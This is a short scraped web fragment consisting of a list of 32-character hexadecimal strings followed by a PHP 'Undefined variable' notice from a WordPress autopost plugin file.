64315b604bd7a4b2886bba0e6e5176be dd8202ac5e6a2f6c8638116aa09694d7 45e4d4671efcd1d9e502359c2fbbd6eb aa83345c8cc3e7b41709f96bfb9844f8 9f3edaa64e912661cd03f1aa9d342162 aa83345c8cc3e7b41709f96bfb9844f8 4215f6306caa3b216295334538cad257 50da2fb3920bfedfeb9e3a58ca008779 ceaee3da774cc712dc735d38194b396e 8d9f26cd8358dce9f44ee7d30a96793f 4bff1a92e6adcfe48c8b0f42b21a5af6 

Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51